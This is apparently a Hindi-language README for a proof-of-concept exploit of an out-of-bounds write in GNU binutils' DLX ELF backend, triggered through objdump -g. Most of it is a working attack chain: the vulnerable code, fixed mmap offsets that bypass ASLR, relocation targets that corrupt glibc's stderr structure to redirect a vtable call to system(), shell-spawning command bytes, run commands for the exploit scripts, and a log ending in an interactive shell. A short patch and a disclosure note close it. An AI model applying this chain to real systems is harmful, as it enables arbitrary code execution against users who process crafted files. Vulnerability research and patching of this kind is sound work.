
प्रूफ ऑफ कॉन्सेप्ट (PoC) जो CVE-2026-18220 को प्रदर्शित करता है, जो GNU binutils के DLX ELF बैकएंड में एक आउट-ऑफ-बाउंड्स (OOB) राइट भेद्यता है (विशेष रूप से `objdump -g` के माध्यम से ट्रिगर होती है)।
लक्ष्य: GNU Binutils (HEAD तक के सभी संस्करण) — objdump
पर्यावरण: Debian 13 (Trixie), glibc 2.41, x86_64
प्रभाव: मनमाना कोड निष्पादन
वेक्टर: objdump -g द्वारा प्रोसेस की गई विशेष रूप से निर्मित ELF फ़ाइल
ASLR: बायपास हुआ (नियतात्मक mmap डेल्टा)
इस खोज के संबंध में शाउटआउट और निष्पक्ष खेल के लिए bikini को हार्दिक धन्यवाद। वे एक महान व्यक्ति हैं, मुझे उनसे बातचीत करने का सौभाग्य मिला, और उन्होंने अपनी कुछ शानदार खोजें भी की हैं। उनका काम ज़रूर देखें!
bfd/elf32-dlx.cR_DLX_RELOC_26_PCREL रिलोकेशन हैंडलर (elf32_dlx_relocate26) पर 4-बाइट रीड/राइट करता है, बिना सेक्शन आकार के सापेक्ष ऑफसेट को मान्य किए। चूँकि फ़ंक्शन लौटाता है, में सामान्य सीमा जांच पूरी तरह से बायपास हो जाती है।
data + reloc_entry->addressbfd_reloc_okbfd/reloc.c// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
ऑफसेट reloc_entry->address सीधे ELF फ़ाइल से पढ़ा जाता है और यह सेक्शन बफर से परे मनमाने ढंग से इंगित कर सकता है।
x86_64 पर, ELF32 ऑफसेट ज़ीरो-एक्सटेंडेड होते हैं, जिससे लेखन सकारात्मक ऑफसेट तक सीमित हो जाता है। एक .debug_info सेक्शन ≥ 128 KB malloc() को mmap() उपयोग करने के लिए बाध्य करता है, जिससे बफर libc के डेटा सेगमेंट के समीप स्थित हो जाता है:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
डेल्टा stderr - data = 0x21A4D0 ASLR रनों में स्थिर रहता है, क्योंकि दोनों क्षेत्र libc लोडिंग के दौरान उसी mmap द्वारा आवंटित किए जाते हैं।
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
| # | लक्ष्य (data से ऑफसेट) | प्रभाव |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → system() आर्गुमेंट की शुरुआत |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → फ्लश के लिए बाध्य करता है → ओवरफ्लो |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → नकली _IO_wide_data की ओर इंगित करता है |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], पैडिंग साफ़ हुई → नल टर्मिनेटर |
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
यह एक्सप्लॉइट 2 से 4-वर्ण वाले कमांड का समर्थन करता है। Reloc 0 _flags[0:3] लिखता है और reloc 4 _flags[3] लिखता है + पैडिंग साफ़ करता है, जिससे system() को प्राकृतिक नल टर्मिनेटर से पहले अधिकतम 4 वर्ण मिलते हैं।
केवल पहले दो बाइट glibc के FILE फ्लैग लेआउट द्वारा प्रतिबंधित हैं:
| Bit | फ्लैग | बाधा | कारण |
|---|---|---|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | अन्यथा _IO_wdoallocbuf __doallocate को छोड़ देता है |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | अन्यथा ओवरफ्लो तुरंत WEOF लौटाता है |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | doallocate ब्लॉक में प्रवेश करने के लिए आवश्यक |
cmd[2] और cmd[3] अप्रतिबंधित हैं।
| कमांड | बाइट्स | प्रभाव |
|---|---|---|
"ps" | 70 73 | प्रोसेस सूची दिखाएँ |
"p;sh" | 70 3B 73 68 | इंटरैक्टिव शेल प्रारंभ करें ← सबसे उपयोगी |
"p;ls" | 70 3B 6C 73 | डायरेक्टरी सूची दिखाएँ |
"p;id" | 70 3B 69 64 | uid/gid प्रिंट करें |
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
एक्सप्लॉइट ASLR बाइट-3 बेमेल होने पर स्वचालित रूप से 5 बार तक पुनः प्रयास करता है (~12% प्रति प्रयास), जिससे ~99.998% सफलता दर प्राप्त होती है।
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
सेक्शन डेटा तक पहुँचने से पहले elf32_dlx_relocate26() में एक सीमा जांच जोड़ें:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
| फ़ाइल | विवरण |
|---|---|
poc_generate.py | 5 OOB रिलोक्स के साथ दुर्भावनापूर्ण DLX ELF पेलोड (exploit.bin) जनरेट करता है |
poc_ptrace.py | स्टैंडअलोन एक्सप्लॉइट — ptrace-आधारित ASLR बायपास, पुनः प्रयास लूप, GDB की आवश्यकता नहीं |
exploit.bin | पूर्व-जनरेटेड पेलोड (डिफ़ॉल्ट cmd "p;sh") |
इस भेद्यता की सूचना GNU Binutils के अनुरक्षकों को दी गई थी। एक्सप्लॉइट कोड केवल अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।